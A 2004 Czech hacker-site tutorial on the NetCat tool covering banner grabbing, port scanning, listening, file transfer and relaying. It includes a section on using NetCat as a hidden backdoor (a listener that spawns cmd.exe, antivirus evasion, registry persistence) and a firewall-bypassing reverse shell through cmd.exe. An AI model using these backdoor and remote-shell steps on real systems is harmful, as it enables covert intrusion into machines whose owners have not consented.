Zpět na seznam článků     Číst komentáře (109)     Verze pro tisk

Použití programu NetCat

Autor: .cCuMiNn.   
5.8.2004

Ucelenější pohled na NetCat. Tento program by neměl chybět ve výbavě žádného hackera a vzhledem k tomu, že je na českém Internetu informací poskrovnu, nabízím vám tento článek.


Přestože je program NetCat často přirovnáván ke švýcarskému armádnímu noži (díky mnoha funkcím jež nabízí), je o něj často lamer ochuzen díky nedostatku informací na českém Internetu. Tyto informace jsou často velmi strohé a popisují jen určitou funkci Netcatu. Já se tedy tímto článkem pokusím tuto informační díru trochu zatmelit a nabídnu vám ucelenější popis tohoto skvělého programu.

NetCat existuje jak ve verzi pro Linux tak i pro windows NT. Linux verzi napsal *hobbit* a je ke stáhnutí na http://netcat.sourceforge.net/download.php. Verzi pro windows NT od Welda Ponda si můžete opatřit například na tomto serveru v sekci download.

Začnu stručným popisem funkcí NetCatu

NetCat můžete používat na cokoliv pod TCP nebo UDP. Může otevřít TCP spojení, poslat UDP paket, naslouchat na jakémkoliv TCP nebo UDP portu, scanovat porty, trasovat a mnoho dalšího.

Teď se podíváme na jednotlivé funkce NetCatu trochu podrobněji

NetCat jako Telnet
Program NetCat nám jako jednu ze svých funkcí nabízí využít jej na stejném principu jako starý známý Telnet. Stačí jen spustit NetCat z příkazové řádky takto: nc -v www.microsoft.com 80. NetCat se pak napojí za zadaný server (v našem případě microsoft) na zadaném portu (80) a my můžeme se serverem dále komunikovat. Toto můžeme použít například v případě, že máme v úmyslu získat informace z bannerů. Je to jednodušší technika, pomocí níž můžeme zjistit verzi softwaru běžícího na serveru. Bohužel tyto můžou být administrátorem změněny a podávají pak zavádějící informace. Také po sobě při tomto postupu zanecháváme stopy v logech, což není vždy žádoucí. Pokud chceme nějaká data odeslat na server automaticky, můžeme k tomu využít tyto příklady zapsané na příkazovém řádku. echo "get http" | nc -v www.microsoft.com 80 Pomocí tohoto odešleme příkaz "get http" přímo na port 80 webovému serveru Microsoftu. type email.txt | nc -v smtp.internetonline.cz 25 Tímto můžeme na daný server a port odeslat obsah textového souboru. Pomocí uvedeného příkladu můžeme odeslat anonymní email přímo na SMTP (port 25) poštovního serveru. Jde jen o to, aby byl email včetně hlavičky a všech náležitostí umístěn v textovém souboru. Dá se toho využít například pokud chceme vytvářet emaily ve formátu html nebo takových, které obsahují samospustitelné přílohy, ale o tom až někdy jindy.

Přepínač -v slouží pro zobrazení výpisu. V některých případech lze použít přepínač -vv pro ještě detailnější výpis.

NatCat jako scanner portů
Pokud potřebujeme provést scan portů můžeme k tomu rovněž využít NetCat. Stačí, zadáme-li do příkazové řádky toto:
nc -v -z 192.168.1.17 100-150 pro scan TCP portů nebo :
nc -v -z -u 192.168.1.17 100-150 pro scan UDP portů.
namísto přepínače -v lze použít -vv pro visualizaci průběhu.
Přepínač -z slouží pro scan TCP portů. Pokud přidáme ještě -u budou se scanovat UDP porty.

NetCat jako hlídací pes
Pomocí programu NetCat můžeme také sledovat provoz na zvoleném portu. Pokud například potřebujete zjistit co se právě odehrává na portu řekněme139, zadejte: nc -v -L -p139 NetCat nyní bude naslouchat na portu 139 a zobrazovat hlášení o příchozích požadavcích. Postaví se ovšem před tuto službu a nebude příchozí požadavky propouštět dále, čehož se dá také někdy využít k zablokování služby :)
Přepínač -l (listen) označuje naslouchání. Tzn. že NetCat bude čekat na příchozí spojení. Aby se po tomto spojení NetCat neukončil, ale pokračoval v naslouchání použije se namísto -l přepínač -L. Dále musíme pomocí -p nastavit port, na kterém bude NetCat naslouchat.

NetCat jako trojský kůň
NetCat není trojským koněm v pravém slova smyslu. Neposkytne nám žádnou z funkcí jimiž trojani obvykle oplývají. Na otevření zadních vrátek do systému se však hodí výborně. Navíc má oproti tradičním trojanům jednu velkou výhodu a to, že ho antivirové firmy nezahrnují do svých databází. Může proto neviditelně běžet na počítači s aktualizovaným antivirem pěkně dlouho, bez toho aby si ho někdo všimnul. Vše je postaveno na principu spuštění NetCatu ve skrytém režimu tak, aby naslouchal na zadaném portu a v případě pokusu o navázání spojení spustil požadovaný program (nejčastěji se bude jednat o příkazovou řádku). Vzhledem k tomu, že se nejedná o tradičního trojského koně nám NetCat nenabídne takový luxus jakým je automatické nastavení svého spuštění při startu systému. Budeme si tudíž muset poradit sami. Nejlepší je umístit odstartování do větve run v registrech, případně můžeme využít nabídky startup, win.ini nebo plánovače úloh. Toto už nechám na vás :) Teď již k samotnému zavedení tohoto trojana. NetCat spustíme na napadeném počítači jako server takto: nc -L -p1234 -d -e cmd.exe (případně místo cmd.exe zadáme command.com) Přepínačem -L nastavíme NetCat do režimu naslouchání na portu zadaném za přepínačem -p. Přepínač -d nastavuje NetCat do skrytého režimu tzn. tak, aby se o něm uživatel nedozvěděl. Za přepínačem -e pak uvádíme program, který se má při navázaném spojení spustit. Teď už nám stačí se na takto napadený systém přihlásit pomocí NetCatu (nc počítač port) nebo telnetu (telnet počítač port) a vychutnat si práci s příkazovou řádkou napadeného systému.

NetCat jako redirektor
Funkce redirektoru není NetCatu šitá přímo na míru. NetCat jako redirektor působí poněkud neohrabaně. Pokud ovšem nemáme po ruce jiný nástroj můžeme využít i tohoto způsobu. Pokud spustíme na počítači exampleA NetCat z příkazové řádky takto: nc exampleB 80 | nc exampleC 25, na stroji exampleB takto: nc -vv -l -p80 a na exampleC takto: nc -vv -l -p25, pak cokoliv zašleme z okna NetCatu na počítači ExampleB bude odesláno na exampleA a ten tyto data přesměruje na exampleC. Pokud chceme získat vzdálený příkazový řádek za firewallem a přesměrovat si tak prostředí použijeme na počítači exampleA takovýto příkaz: nc exampleB 80 | cmd.exe | nc exampleB 25. Na exampleB si otevřeme dvě relace NetCatu těmito příkazy: nc -vv -l -p80 a nc -vv -l -p25. Cokoliv nyní napíšeme v relaci naslouchající na portu 80 stroje exampleB bude předáno příkazové řádce na počítači exampleA a výsledek bude vrácen zpět na port 25 počítače exampleB (tj. do druhé otevřené relace). Nevím jestli se mi podařilo funkci redirektoru pomocí NetCatu popsat dostatečně srozumitelně, ale pokud máte přístup ke dvěma počítačům v síti bude nejlepší, když si příklady zde popsané vyzkoušíte a trochu si zaexperimentujete.

NetCat pro přenos souborů
NetCat můžeme použít také k přenosu souborů z jednoho počítače na druhý. Pokud na serveru spustíme NetCat takto: nc -d -l -p1234 >soubor.txt pak začne NetCat naslouchat na zadaném portu a očekávat vstup souboru. Na klientu pak zadáme: nc -v 192.168.1.1 1234 . Tuto techniku je vhodné použít tehdy, když není možné pro přenos souboru použít jiný nástroj (FTP, TFTP, aj.)

Shrnutí jednotlivých přepínačů
-l naslouchání. Uvede NetCat do režimu, kdy bude čekat na spojení. Po ukončení spojení se ukončí i NetCat.
-L naslouchání. Podobně jako -l, s tím rozdílem, že po ukončení spojení NetCat dále vyčkává na spojení následující.
-p port. Otevírá zadaný port. Například společně s -l uvádí Netcat do režimu naslouchání na daném portu.
-d skrytý režim. Uvádí NetCat do skrytého režimu. To je takového, kdy NetCat nepotřebuje mít při svém provozu žádné pracovní okno.
-v výpis. NetCat zobrazí výpis při svém běhu.
-vv podrobný výpis. NetCat zobrazí ještě podrobnější výpis své činnosti než při použití přepínače -v.
-n zakáže NetCatu provést DNS lookup pro zadanou adresu
-z scan TCP portů. Touto volbou nastavíme NetCat do režimu scanování portů.
-u UDP. Tento parametr nastaví NetCat na protokol UDP.
-w timeout.
-i interval udaný v sekundách, který bude použit mezi jednotlivými řádky přijímaného nebo vysílaného textu.
-e spustí zadaný program.
-s zdrojový hostname nebo IP adresa. Specifikuje IP adresu, za které je paket odeslán. Na některých platformách lze tento přepínač použít ke spoofingu.

Na závěr ještě pár příkladů použití z manuálu

nc
Spustí NetCat a čeká na zadání uživatelových příkazů

nc example.host 42
Otevře TCP spojení na port 42 webového serveru example.host. Jestliže dojde k chybě spojení nebude zobrazena žádná chybová zpráva, ale NetCat jednoduše skončí.

nc -p 31100 example.host 42
Otevře TCP spojení na port 42 serveru example.host a jako zdrojový port použije port 31100.

nc -w 5 example.host 42
Otevře TCP spojení na port 42 serveru example.host s tím, že časový limit pro spojení je 5 sekund.

nc -u example.host 53
Odešle data na UDP port 53 serveru example.host a zobrazí data, která jsou vrácena.

nc -s 10.1.2.3 example.host 42
Otevře TCP spojení na port 42 serveru example.host a jako zdrojovou adresu použije 10.1.2.3

nc -v example.host 53
Otevře TCP spojení na port 42 serveru example.host a zobrazí některé diagnostické zprávy.

nc -vv example.host 53
Otevře TCP spojení na port 42 serveru example.host a zobrazí všechny diagnostické zprávy.

nc -v -z example.host 20-30
NetCat otevře TCP spojení na portech v rozmezí 20 až 30 serveru example.host a vypíše, na které z nich se podařilo napojit.

nc -v -u -z -w 3 example.host 20-30
NetCat odešle UDP pakety na porty v rozmezí 20 až 30 serveru example.host a vypíše, které z nich neodpoví ICMP paketem do tří vteřin.

nc -l -p 3000
NetCat bude naslouchat na portu 3000.

Sami vidíte, že možností jak využít NetCat je opravdu mnoho a já doufám, že se mi podařilo přiblížit vám NetCat tak, aby se stal výbavou každého z vás.

.cCuMiNn.

Líbil se Vám článek?
Budeme potěšeni, pokud vás zaujme také reklamní nabídka

Social Bookmarking

     





Hodnocení/Hlasovalo: 2.24/579

1  2  3  4  5    
(známkování jako ve škole)